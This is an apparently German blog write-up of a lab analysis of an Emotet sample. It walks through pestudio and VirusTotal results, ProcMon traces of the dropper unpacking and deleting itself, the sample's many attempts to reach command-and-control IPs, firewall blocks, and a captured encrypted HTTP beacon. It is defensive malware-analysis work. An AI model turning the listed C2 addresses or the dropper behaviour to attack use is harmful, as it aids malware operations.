pestudio 8.68 - Malware Initial Asse	essment - www.winitor.com		
File Help			
🖻 🖶 🗡 🗎 💡			
c:\users\tessa.test\appdata\lo	indicator (20)	severity	
indicators (2/20)	The export-table directory is invalid	1	
virustotal (22/66 - 18.02.20	The file is scored (22/66) by virustotal	1	
dos-stub (! I his program c	The file references (13) blacklisted string(s)	2	
entional header (Nov. 1993)	The time-stamp (Year: 1995) of the compiler is suspicious	2	
directories (invalid)	The time-stamp (Year:2019) of the debugger is suspicious	2	
sections (96,97%)	The file imports (4) anonymous function(s)	2	
libraries (6)	The file imports (3) blacklisted function(s)	2	
	The file opts for Data Execution Prevention (DEP)	3	
exports (n/a)	The file references the Registry API	5	
	The file references the Memory Management API	5	
resources (1)	The file references the Console API	5	
abc strings (13/5/0/1640)	The file references the Communication API	5	
	The file references the System Information API	5	
manifest (n/a)	The file references the Process and Thread API	5	
version (LFMSP13N.DLL)	The file opts for Address Space Layout Randomization (ASLR)	5	
certificate (n/a)	The file imports (3) deprecated function(s)	5	
i overlay (n/a)	The file does not contain a digital Certificate	7	
	The file references a debug symbols file (path:"uzmztfpdeq.pdb")	9	
	The file ignores cookies on the stack (GS)	9	
	The file ignores Code Integrity	9	

🗹 pestudio 8.68 - Malware Initial Assessment - www.winitor.com

:\users\tessa.test\appdata\lo	engine (66)	positiv (22)	date (dd.mm.yyyy)	age (days)
indicators (2/20)	McAfee	Emotet-FLY!A0268D8447B8	18.02.2019	7
virustotal (22/66 - 18.02.20	AVG	FileRepMalware	18.02.2019	7
dos-stub (1 his program c	Avast	FileRepMalware	18.02.2019	7
Inte-neader (Nov. 1993)	Qihoo-360	HEUR/QVM20.1.4FF1.Malware.Gen	18.02.2019	7
□ directories (invalid)	Bkav	HW32.Packed.	18.02.2019	7
sections (96.97%)	Symantec	ML.Attribute.HighConfidence	18.02.2019	7
	Sophos	Mal/Generic-S	18.02.2019	7
imports (3/23)	Ikarus	Trojan-Banker.Emotet	18.02.2019	7
exports (n/a)	Rising	Trojan.Kryptik!8.8 (TFE:dGZIOgK99TjjUlhc5Q)	18.02.2019	7
tls-callbacks (n/a)	Microsoft	Trojan:Win32/Emotet.AC!bit	18.02.2019	7
resources (1)	Kaspersky	UDS:DangerousObject.Multi.Generic	18.02.2019	7
strings (13/5/0/1640)	ZoneAlarm	UDS:DangerousObject.Multi.Generic	18.02.2019	7
debug (path)	Webroot	W32.Trojan.Emotet	18.02.2019	7
manifest (n/a)	ESET-NOD32	a variant of Win32/Kryptik.GPUV	18.02.2019	7
version (LFMSP13N.DLL)	K7AntiVirus	clean	18.02.2019	7
certificate (n/a)	MicroWorld-eScan	clean	18.02.2019	7
overlay (n/a)	CMC	clean	18.02.2019	7

Aha, es scheint ein EMOTET zu sein!

Da ich nun eine Testumgebung aufgebaut habe und die Attacke gerne bis zum Ende zeigen möchte, starte ich den Trojaner. **ACHTUNG**: Es wird immer ein gewisses Restrisiko verbleiben! Nutzt daher Schutzmechanismen! In meinem Fall hängt der Testclient ganz alleine an einer separaten Internetleitung. Diese kann ich jederzeit kappen. Zusätzlich wird der Traffic ausgehend durch eine PFSense geleitet, welche den Datenstrom zunächst komplett blockiert. Und mit einer WireShark-Instanz spiegele ich den Netzwerktraffic auf ein autonomes System.

Dazu kommt wieder der ProcMon (ProcessMonitor) von SysInternals auf dem Testclient zum Einsatz. Los geht's. Die Datei 345.exe wird gestartet – **und verschwindet**! Was ist passiert? ProcMon liefert die Antwort:

Droc	ess Monitor - Sys	internals: wv	ww.sysinternals	s.com		
File E	dit Event Filte	er Tools	Options Hel	Ip		
) 🚅 Ę	🍳 🏽 🖾	🗟 🗛 🖗) E M			
Time	Process Name	PID	Operation	Path	Result	Detail
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local\reswzip	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\345.exe	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local\reswzip	SUCCESS	Desired Access: W
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local\reswzip	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local\reswzip	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local\reswzip	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations	NAME COLLISION	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\f01b4d95cf55d32a.automaticDestinations-ms	SUCCESS	Desired Access: G
17:41:	■ 345.exe	4984	CreateFile	C:\	SUCCESS	Desired Access: S
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\345.exe	NAME NOT FOUND	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations	NAME COLLISION	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations	NAME COLLISION	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms	SUCCESS	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms	SUCCESS	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\5f7b5f1e01b83767.automaticDestinations-ms	SUCCESS	Desired Access: G
17:41:	■ 345.exe	4984	CreateFile	C:\	SUCCESS	Desired Access: S
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\345.exe	NAME NOT FOUND	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\	SUCCESS	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users	SUCCESS	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test	SUCCESS	Desired Access: R
17:41:	345.exe	4984	CreateFile	CA	SUCCESS	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users	SUCCESS	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test	SUCCESS	Desired Access: R
17:41:	T 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local	SUCCESS	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local\reswzip\reswzip.exe.Zone.ldentifier	NAME NOT FOUND	Desired Access: R
17:41:	345.exe	4984	CreateFile	C:\Users\tessa.test\AppData\Local\reswzip\reswzip.exe	SUCCESS	Desired Access: R
17:41:	■ 345.exe	4984	CreateFile	C:\Windows\apppatch\sysmain.sdb	SUCCESS	Desired Access: G
17.41.	- 245 ana	4004	ConstaElla	Coldfinations and a second and	CINCECC	Desired Assess G

In der exe steckte eine ZIP-Datei. Diese wurde nach "c:\users\%username%\Appdata\local" als reswzip.zip extrahiert und dann weiter als "c:\users\%username%\Appdata\local\reswzip\reswzip.exe" entpackt. Danach wurde diese neue ausführbare Datei gestartet und die 345.exe wurde gelöscht:

Process Monitor - Sysinternals: www.sysinternals.com		
File Edit Event Filter Tools Options Help		
😂 🖬 🔍 🕸 🖾 👻 🔺 🕲 🖻 🛤 🦻 🎎 🔜 🔜 🥶 🖪		
Time Process Name PID Operation Path	Result	Detail
17:41: 👅 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\SHCore.dll	SUCCESS	Image Base: 0x75e
17:41: T 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\windows.storage.dll	SUCCESS	Image Base: 0x74f
17:41: 📧 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\kernel.appcore.dll	SUCCESS	Image Base: 0x756
17:41: T 345.exe 4984 2 Load Image C:\Windows\SysWOW64\powrprof.dll	SUCCESS	Image Base: 0x75a
17:41: 📧 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\profapi.dll	SUCCESS	Image Base: 0x744
17:41: 🔽 345.exe	SUCCESS	Image Base: 0x75c
17:41: T 345.exe LEADTOOLS(r) DLL for Win32	SUCCESS	Thread ID: 2956
17:41: T 345.exe LEAD Technologies, Inc.	SUCCESS	Thread ID: 3536
17:41: 🐨 345.exe	SUCCESS	Image Base: 0x700
17:41: 🖬 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\aepic.dll	SUCCESS	Image Base: 0x700
17:41: 📧 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\ftLib.dll	SUCCESS	Image Base: 0x705
17:41: 🐨 345.exe 4984 🧣 Load Image C:\Windows\SysWOW64\ntmarta.dll	SUCCESS	Image Base: 0x701
17:41: 📧 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\bcrypt.dll	SUCCESS	Image Base: 0x73f
17:41: 📧 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\cryptsp.dll	SUCCESS	Image Base: 0x73f
17:41: 📧 345.exe 4984 🧣 Load Image C:\Windows\SysWOW64\clbcatq.dll	SUCCESS	Image Base: 0x74c
17:41: 📧 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\propsys.dll	SUCCESS	Image Base: 0x72a
17:41: 📧 345.exe 4984 🎝 Thread Create	SUCCESS	Thread ID: 4432
17:41: 📧 345.exe 4984 🦨 Thread Create	SUCCESS	Thread ID: 432
17:41: 📧 345.exe 4984 🧣 Load Image C:\Windows\SysWOW64\Windows.StateRepositoryPS.dll	SUCCESS	Image Base: 0x672
17:41: 📧 345.exe 4984 🌌 Load Image C:\Windows\SysWOW64\coml2.dll	SUCCESS	Image Base: 0x755
17:41: 🐨 345.exe 4984 🦣 Load Image C:\Windows\SysWOW64\mssprxy.dll	SUCCESS	Image Base: 0x673
17:41: 📧 345.exe 4984 🎝 Thread Create	SUCCESS	Thread ID: 1572
17:41: 📧 345.exe 4984 🧣 Load Image C:\Windows\SysWOW64\linkinfo.dll	SUCCESS	Image Base: 0x6fd
17:41: 📧 345.exe 4984 🎝 Load Image C:\Windows\SysWOW64\ntshrui.dll	SUCCESS	Image Base: 0x688
17:41: 📧 345.exe 4984 🐙 Load Image C:\Windows\SysWOW64\srvcli.dll	SUCCESS	Image Base: 0x688
17:41: 📧 345.exe 4984 🖓 Load Image C:\Windows\SysWOW64\cscapi.dll	SUCCESS	Image Base: 0x699
17:41: #1345.exe 4984 Mar Process Create C:\Users\tessa.test\AppData\Local\reswzip\reswzip.exe	SUCCESS	PID: 8344, Comma
17:41: 💽 345.exe 4984 🏧 Thread Exit	SUCCESS	Thread ID: 1572,

<u>Stage 6 – die EXE #2</u>

Welche Aufgabe hat diese Datei? Es ist das gleiche Spiel wie bei der ersten Datei: ein PEStudio liefert Antworten:

🗹 pestudio 8.68 - Malware Initial Assessment - www.winitor.c	om			
File Help				
🖻 🖬 🗡 📋 💡				
c:\users\tessa.test\appdata\local\reswzip\reswzip.exe	engine (66)	positiv (22)	date (dd.mm.yyyy)	age (days)
indicators (2/20)	McAfee	Emotet-FLY!A0268D8447B8	18.02.2019	0
wirustotal (22/66 - 18.02.2019)	AVG	FileRepMalware	18.02.2019	0
🗆 dos-stub (!This program cannot be run in DOS mc	Avast	FileRepMalware	18.02.2019	0
file-header (Nov.1995)	Oihoo-360	HEUR/OVM20.1.4FF1.Malware.Gen	18.02.2019	0
optional-header (GUI)	Bkay	HW32.Packed	18.02.2019	0
directories (invalid)	Symantec	ML Attribute HighConfidence	18.02.2019	0
sections (96.97%)	Sonhos	Mal/Generic-S	18.02.2019	0
Ibraries (6)	Ikarus	Trojan-Banker Emotet	18.02.2019	0
	Rising	Trojan Kovntikl8 8 (TEE-dG7IOgK99Tiil Ilbc5O)	18.02.2019	0
	Microsoft	Trojan/Win22/Emotot AClbit	10.02.2019	0
Tis-calibacks (n/a)	Kaspersley	UDS:Dangerous/Dhiest Multi Generic	19.02.2019	0
resources (1)	ZanaAlaana	UDS:DangerousObject.Multi.Generic	10.02.2019	0
abc strings (15/3/0/1040)	ZoneAlarm	W22 Tarian Frankt	10.02.2019	0
The debug (path)	Webroot	W32. Irojan.Emotet	18.02.2019	0
manifest (n/a)	ESET-NOD32	a variant of Win32/Kryptik.GPUV	18.02.2019	U
	K7AntiVirus	clean	18.02.2019	0



Viel aufschlussreicher ist aber mein ProcMon. Die kleine exe-Datei will unbedingt ins Internet:

$\overrightarrow{P} = \overrightarrow{P} = $		
Time Process Name PID Operation Path	Result	Detail
17:47: Treswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51833 -> 23.254.203.51:8080	SUCCESS	Length: 0, segnum:
17:47: Treswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51833 -> 23.254.203.51:8080	SUCCESS	Length: 0, segnum:
17:47: Treswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51858 -> 72.47.248.48:8080	SUCCESS	Length: 0, seqnum:
17:47: Treswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51858 -> 72.47.248.48:8080	SUCCESS	Length: 0, seqnum:
17:47: ■ reswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51863 -> 69.163.33.82:8080	SUCCESS	Length: 0, seqnum:
17:48: ■ reswzip.exe 9008 🛕 TCP Reconnect S-CL1.crashwork.global:51863 -> 69.163.33.82:8080	SUCCESS	Length: 0, seqnum:
17:48: ■ reswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51865 -> 159.65.76.245:https	SUCCESS	Length: 0, seqnum:
17:48: ■ reswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51865 -> 159.65.76.245.https	SUCCESS	Length: 0, seqnum:
17:48: ■ reswzip.exe 9008 🛕 TCP Reconnect S-CL1.crashwork.global:51866 -> 76.94.36.57/http	SUCCESS	Length: 0, seqnum:
17:48: ■ reswzip.exe 9008 🔬 TCP Reconnect S-CL1.crashwork.global:51866 -> 76.94.36.57.http	SUCCESS	Length: 0, seqnum:
17:49: ■ reswzip.exe 9008 🔔 TCP Reconnect S-CL1.crashwork.global:51868 -> 144.76.117.247:8080	SUCCESS	Length: 0, seqnum:
17:49: ■ reswzip.exe 9008 🔬 TCP Reconnect S-CL1.crashwork.global:51868 -> 144.76.117.247:8080	SUCCESS	Length: 0, seqnum:
17:49: ■ reswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51869 -> 168.226.35.218.http	SUCCESS	Length: 0, seqnum:
17:49: Tereswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51869 -> 168.226.35.218:http	SUCCESS	Length: 0, seqnum:
17:49: ■ reswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51870 -> 186.4.127.72;pop3s	SUCCESS	Length: 0, seqnum:
17:49: ■ reswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51870 -> 186.4.127.72;pop3s	SUCCESS	Length: 0, seqnum:
17:50: 📭 reswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51872 -> 71.40.213.82:8080	SUCCESS	Length: 0, seqnum:
17:50: ■ reswzip.exe 9008 👗 TCP Reconnect S-CL1.crashwork.global:51872 -> 71.40.213.82:8080	SUCCESS	Length: 0, seqnum:
17:50: ■ reswzip.exe 9008 ▲ TCP Reconnect S-CL1.crashwork.global:51873 -> 190.117.226.104:8080	SUCCESS	Length: 0, seqnum:
17:50: ■ reswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51873 -> 190.117.226.104:8080	SUCCESS	Length: 0, seqnum:
17:50: ■ reswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51874 -> 210.2.86.72:8080	SUCCESS	Length: 0, seqnum:
17:50: 📭 reswzip.exe 9008 🚠 TCP Reconnect S-CL1.crashwork.global:51874 -> 210.2.86.72:8080	SUCCESS	Length: 0, seqnum:
17:51: ■ reswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51875 -> 165.227.213.173:8080	SUCCESS	Length: 0, seqnum:
17:51: Tereswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51875 -> 165.227.213.173:8080	SUCCESS	Length: 0, seqnum:
17:51: ■ reswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51877 -> 219.94.254.93:8080	SUCCESS	Length: 0, seqnum:
17:51: ■ reswzip.exe 9008 🛓 TCP Reconnect S-CL1.crashwork.global:51877 -> 219.94.254.93:8080	SUCCESS	Length: 0, seqnum:
17:51: Tereswzip.exe 9008 🚠 TCP Reconnect S-CL1.crashwork.global:51878 -> 200.114.142.15:http	SUCCESS	Length: 0, seqnum:
17:52: Treswzip.exe 9008 🔬 TCP Reconnect S-CL1.crashwork.global:51878 -> 200.114.142.15:http	SUCCESS	Length: 0, seqnum:
17:52: ■ reswzip.exe 9008 ▲ TCP Reconnect S-CL1.crashwork.global:51879 -> 186.72.205.234:ssh	SUCCESS	Length: 0, seqnum:
17:52: Treswzip.exe 9008 TCP Reconnect S-CL1.crashwork.global:51879 -> 186.72.205.234:ssh	SUCCESS	Length: 0, seqnum:
17:52: ■ reswzip.exe 9008 ▲ TCP Reconnect S-CL1.crashwork.global:51881-> 189.173.176.115:https	SUCCESS	Length: 0, seqnum:
17:52: 📭 reswzip.exe 9008 💑 TCP Reconnect S-CL1.crashwork.global:51881 -> 189.173.176.115.https	SUCCESS	Length: 0, seqnum:
17:52: ■ reswzip.exe 9008 ▲ TCP Reconnect S-CL1.crashwork.global:51882 -> 138.68.139.199.https	SUCCESS	Length: 0, seqnum:
17:53: ■ reswzip.exe 9008 🛕 TCP Reconnect S-CL1.crashwork.global:51882 -> 138.68.139.199.https	SUCCESS	Length: 0, seqnum:
17:53: ■ reswzip.exe 9008 🚓 TCP Reconnect S-CL1.crashwork.global:51883 -> 185:86.148.222:8080	SUCCESS	Length: 0, seqnum:
17:53: ■ reswzip.exe 9008 ▲ TCP Reconnect S-CL1.crashwork.global:51883 -> 185.86.148.222:8080	SUCCESS	Length: 0, seqnum:
17:53: ■ reswzip.exe 9008 🎄 TCP Reconnect S-CL1.crashwork.global:51884 -> 181.56.165.97:domain	SUCCESS	Length: 0, seqnum:
17:53: Tereswzip.exe 9008 🛕 TCP Reconnect S-CL1.crashwork.global:51884 -> 181.56.165.97.domain	SUCCESS	Length: 0, seqnum:

Dabei werden etliche IPs und Protokolle durchprobiert! Irgendwo wird es bestimmt eine Lücke geben. Meine Firewall ist da natürlich anderer Meinung: ③

	NSC System ·	+ Interfa	aces 👻 Firewall 🗸	Service	s •	VPN 🗸	Status -	Diagno	ostics -	Help 🕇		•
Statu	us / System	Logs / F	irewall / Norm	al View								T & O
System	n Firewall	DHCP	Captive Portal Auth	IPsec	PPP	VPN	Load B	alancer	OpenVPN	NTP	Settings	
Norma	al View Dynam	iic View	Summary View									
Adva	nced Log Filter											•
		172.16.2						172.16.1				
		Source IP A	Address				D	estination IF	Address			
		Pass									50	
			Time			Source	e Port		Protocol		Quantity	
		Block									T Apply Filter	
			Interface			Destin	ation Port		Protocol Fla	ags		·
		Regular exp	pression reference Prec	ede with excl	amation	(!) to exclud	le match.					
50 M	atched Firewall	Log Entrie	es. (Maximum 50)									
Action	Time	Interface	Rule					Source		Dest	ination	Protocol
×	Feb 25 17:19:51	LAN2	Default deny rule IPv	4 (10000001	03)			i ⊟17	72.16.2.101:5	5241 i 🕀	144.76.117.247:8080	TCP:S
×	Feb 25 17:19:39	LAN2	Default deny rule IPv	4 (10000001	03)			i ⊟17	72.16.2.101:5	5232 i 🕀	173.68.169.16:80	TCP:S
×	Feb 25 17:19:33	LAN2	Default deny rule IPv	4 (10000001	03)			i 017	72.16.2.101:5	5232 i 🕀	173.68.169.16:80	TCP:S
×	Feb 25 17:19:30	LAN2	Default deny rule IPv	4 (10000001	03)			i ⊟17	72.16.2.101:5	5232 🔢	173.68.169.16:80	TCP:S
×	Feb 25 17:19:18	LAN2	Default deny rule IPv	4 (10000001	03)			i 017	72.16.2.101:5	5225 i 🕀	66.209.69.165:443	TCP:S

Die Finale Frage: was passiert, wenn diese Verbindung nach außen aufgebaut werden kann? Dazu gebe ich einen der gesuchten Ports mit der passenden IPv4 nach außen frei. Gerne einen, bei dem ich den Traffic mitlesen kann, also vielleicht kein https:

• Im ProcMon sieht man schön die erfolgreiche Verbindung zu einem der Zielserver:



le Edit Event Filter Tools Options	Help		
🛎 🖬 🍳 🕸 🖾 ኞ 🔺 🚱 🗉	🗛 🦻 🎪 🖶 🚑 🔭 📠		
ime Process Name PID Operation	Path	Result	Detail
:43: Treswzip.exe 732 👗 TCP Rec	connect S-CL1.crashwork.global:57653 -> 88.225.226.91 https	SUCCESS	Length: 0, seqnum: 0, connid: 0
:43: TCP Rec 732 🔬 TCP Rec	connect S-CL1.crashwork.global:57653 -> 88.225.226.91:https	SUCCESS	Length: 0, seqnum: 0, connid: 0
:43: TCP Con 732 🔒 TCP Con	nect S-CL1.crashwork.global:57654 -> 208.180.246.147:http	SUCCESS	Length: 0, mss: 1460, sackopt: 1, t
:43: 📭 reswzip.exe 732 🔬 TCP Sen	d S-CL1.crashwork.global:57654 -> 208.180.246.147:http	SUCCESS	Length: 858, startime: 1277686, en
:43: TCP TCF 732 🖧 TCP TCF	Copy S-CL1.crashwork.global:57654 -> 208.180.246.147.http	SUCCESS	Length: 288, seqnum: 0, connid: 0
:43: 📭 reswzip.exe 732 🔬 TCP Rec	ceive S-CL1.crashwork.global:57654 -> 208.180.246.147.http	SUCCESS	Length: 288, seqnum: 0, connid: 0
:44: 💶 reswzip.exe 732 🔬 TCP Disc	connect S-CL1.crashwork.global:57654 -> 208.180.246.147:http	SUCCESS	Length: 0, seqnum: 0, connid: 0

• Mein WireShark hat folgende Informationen ausgelesen:

		0	ि 🖹 🙆 🤇	. 🔶 🏓 🖀 🛧 🛓 📃		. 🔍 🔍 🎹
	tcp.stre	am eq 2				
No.		Time	Source	Destination	Protocol	Length Info
Г	120	51.8	172.16.2.101	208.180.246.147	TCP	66 57654 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 WS=256 SACK_PERM=1
	121	51.8	208.180.246	172.16.2.101	TCP	66 80 → 57654 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM=1 WS=16
	122	51.8	172.16.2.101	208.180.246.147	TCP	54 57654 → 80 [ACK] Seq=1 Ack=1 Win=262144 Len=0
	123	51.8	172.16.2.101	208.180.246.147	HTTP	912 GET / HTTP/1.1
	124	51.9	208.180.246	172.16.2.101	TCP	54 80 → 57654 [ACK] Seq=1 Ack=859 Win=30928 Len=0
4	152	65.4	208.180.246	172.16.2.101	HTTP	342 HTTP/1.0 200 OK (text/html)
	153	65.4	208.180.246	172.16.2.101	TCP	342 [TCP Retransmission] 80 → 57654 [PSH, ACK] Seq=1 Ack=859 Win=30928 Len=288
	154	65.4	172.16.2.101	208.180.246.147	ТСР	54 57654 → 80 [ACK] Seq=859 Ack=289 Win=261632 Len=0
	155	65.4	172.16.2.101	208.180.246.147	TCP	66 [TCP Dup ACK 154#1] 57654 → 80 [ACK] Seq=859 Ack=289 Win=261632 Len=0 SLE=1 SRE=289
	223	94.9	208.180.246	172.16.2.101	TCP	54 80 → 57654 [FIN, ACK] Seq=289 Ack=859 Win=30928 Len=0
L	224	94.9	172.16.2.101	208.180.246.147	TCP	54 57654 → 80 [ACK] Seq=859 Ack=290 Win=261632 Len=0

Im http sind folgende Informationen enthalten:

✓ Wireshark · Folge TCP Stream (tcp.stream eq 2) · wireshark_3DFC31F — □ ×
<pre>GET / HTTP/1.1 Cookie: 62975=PliDjspapOYV&eP/ZQNVG44/s34mdw3/ gItyiBeUWvn3x4iunIkj9N10pj06X&SXQMWpE7mU5KMnsw5FyIcXYwZAy1Y9VBVtZxLgP CXvAxi0Qt7HVAL2Vrpv/QpXlXqvJrnylhGD9GVFQ/6jMT8Rxbc/Hups/ Nd5+a13lqkYxvh16kMhAVCVwyd21qiHQ&/ YqRnwdIM0d1jUKaQ9jEEyKAMCwj1+ipWXcc2418XD44bH/ KGz5R7kekX7pc6uSaCabTD8I7E3G4DSLx6BNVj07sdfC4i0H4Ys9L4/1UqBeovifqFceR wj0ZUX+pQGr&8tyw+bqn3ZoNwu/ v&g6jXCZ67KLERwWmPGj6g5PMrSrAszf9JYcNGjSLwtgqGRd3CeKn5QUWcK33cp17HnGC 1tAsB9iRC6cA6emtQM8LeNmz0lIvAeS0lM3wrBmb/3gzXHDC9xVwG0m4jkRAVZ+aWKQ/ NMiQokeZ+IEdvGRLP+2LjQc6bWJts0VKexi1b6Ipx9Fu/ 1dgmCwFxrP24eJg9ClJrdYseJSSWzveXp0o4+SnBH1JwY385FMdLDQI6tHY9gngVpDs2t E0MyatzpYTDgKVIi9n+JMynAOT+INOd6LeiYeB4ER4fmCdocsQDKloKrOew5xQ== User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64;</pre>
Trident/7.0; .NET4.0C; .NET4.0E) Host: 208.180.246.147 Connection: Keep-Alive Cache-Control: no-cache
HTTP/1.0 200 OK Server: nginx Date: Mon, 25 Feb 2019 16:43:35 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 132 Connection: keep-alive
.e\ %[dx.t?.Lx 1.Gt0~@.*.xc1U0.gh.&.iwb< .PL.A

Der Zielserver hat eine Antwort auf den Request gesendet (die beiden letzten Zeilen im Bild). Diese kann ich nicht entschlüsseln. Ein Blick in die Dateizugriffe zeigt, dass sich der Prozess für RSA interessierte:



File Summary

Files acces	sed durin	g trace:										
By Path	By Folde	er By Extension										
File Time	File Time Total Events		Opens	Closes	Reads	Writes	Read B	Write B	Get ACL	Set ACL	Other	Path
0.00709	42	460	152	97	2	0	61.440	0	5	0	204	<total></total>
0.00056	45	47	14	14	0	0	0	0	0	0	19	C:\Windows\SysWOW64\KemelBase.dll
0.00067	48	39	39	0	0	0	0	0	0	0	0	C:\Windows\SysWOW64\phoneinfo.dll
0.00020	29	29	8	8	0	0	0	0	0	0	13	C:\Windows\SysWOW64\imm32.dll
0.00016	04	28	8	8	0	0	0	0	0	0	12	C:\Windows\SysWOW64\wshqos.dll
0.00020	30	26	6	6	0	0	0	0	2	0	12	C:\Users\tessa.test\AppData\Local\reswzip\reswzip.exe
0.00022	06	25	8	8	0	0	0	0	0	0	9	C:\Windows\SysWOW64\mswsock.dll
0.00010	66	16	4	4	0	0	0	0	0	0	8	C:\Windows\SysWOW64\en-US\wshqos.dll.mui
0.00018	09	16	4	4	0	0	0	0	0	0	8	C:\Windows\SysWOW64\ole32.dll
0.00015	09	15	4	4	0	0	0	0	0	0	7	C:\Windows\SysWOW64\winsta.dll
0.00017	36	12	5	4	0	0	0	0	0	0	3	C:\Windows
0.00006	31	12	4	4	0	0	0	0	0	0	4	C:\Windows\apppatch\sysmain.sdb
0.00006	98	10	2	2	0	0	0	0	0	0	6	C:\Windows\Globalization\Sorting\SortDefault.nls
0.00216	76	10	2	2	1	0	32.768	0	0	0	5	C:\Windows\SysWOW64\wininet.dll
0.00002	40	9	0	0	0	0	0	0	3	0	6	C:\Users\tessa.test\AppData\Local\r
0.00006	87	8	2	2	0	0	0	0	0	0	4	C:\Windows\SysWOW64\OnDemandConnRouteHelper.dll
0.00009	32	8	2	2	0	0	0	0	0	0	4	C:\Windows\SysWOW64\bcrypt.dll
0.00006	05	8	2	2	0	0	0	0	0	0	4	C:\Windows\SysWOW64\iertutil.dll
0.00060	95	8	2	2	1	0	28.672	0	0	0	3	C:\Windows\SysWOW64\rsaenh.dll
0.00006	33	8	2	2	0	0	0	0	0	0	4	C:\Windows\SysWOW64\urlmon.dll
0.00006	10	7	2	2	0	0	0	0	0	0	3	C:\Windows\SysWOW64\IPHLPAPI.DLL
0 00000	00	7	2	2	0	٥	0	0	٥	٥	3	C·\Windows/SveWOWA/\operates dll

Da sollen wir wohl nicht mitlesen... 🔅

Nach der Message hat die EXE-Datei aber eine weitere Aktion ausgeführt: sie hat sich in den Autostart eingetragen! Das hat sie die gesamte Stunde vorher ohne Internetverbindung nicht gemacht...

 reswzip.exe	8512 ATCP Reconnect	S-CL1.crashwork.global:57821 -> 88.225.226.91 https	SUCCESS	Length: 0, seqnum: 0, connid: 0
 reswzip.exe	8512 ATCP Reconnect	S-CL1.crashwork.global:57821 -> 88.225.226.91 https	SUCCESS	Length: 0, seqnum: 0, connid: 0
 reswzip.exe	8512 ATCP Connect	S-CL1.crashwork.global:57822 -> 208.180.246.147:http	SUCCESS	Length: 0, mss: 1460, sackopt: 1, tsopt: 0, wsopt: 1, rcvwin: 262144, rcvwinscale: 8, sndwinscale
